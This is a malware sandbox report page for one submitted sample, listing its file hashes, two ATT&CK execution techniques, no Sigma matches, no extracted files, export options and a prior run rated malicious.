The AI layer is a paid-plan feature. It reads what the other layers produced - the behaviour summary, the call sequence, the indicator list - and writes the narrative and the kill-chain walkthrough.

Nothing is being withheld. This layer did not run for this scan, so there is no result stored behind the lock.

See plans Create an account

0 malicious 0 suspicious 2 info

File indicators

2
SeverityTypeIndicatorDescription
info sample_sha256 6df00d88605a165a61a2980bafd9be25cc012c9b90b170574b34fd05cf738c3f Submitted sample (SHA256)
info sample_md5 89c61d3240b0113765cd2659ca3571ee Submitted sample (MD5)

MITRE ATT&CK

2 techniques
Execution
Native API
T1106
Execution
Command and Scripting Interpreter
T1059

Sigma detections

0 matches of 2275 rules

The Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.

Generated rules

No generated rules

Detection rules are auto-generated after analysis.

Extracted files

What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.

No extracted files

Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.

Export & download

/s/2478

Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.

Analysis report

PDF and DOCX reports are available to signed-in accounts on every plan, free included. Sign in to generate one.

Public analyses of this file

1 run
SubmittedEnvironmentVerdictScore
2026-09-22 03:06 Shown below Ubuntu 24.04 (Linux sandbox) Malicious 100/100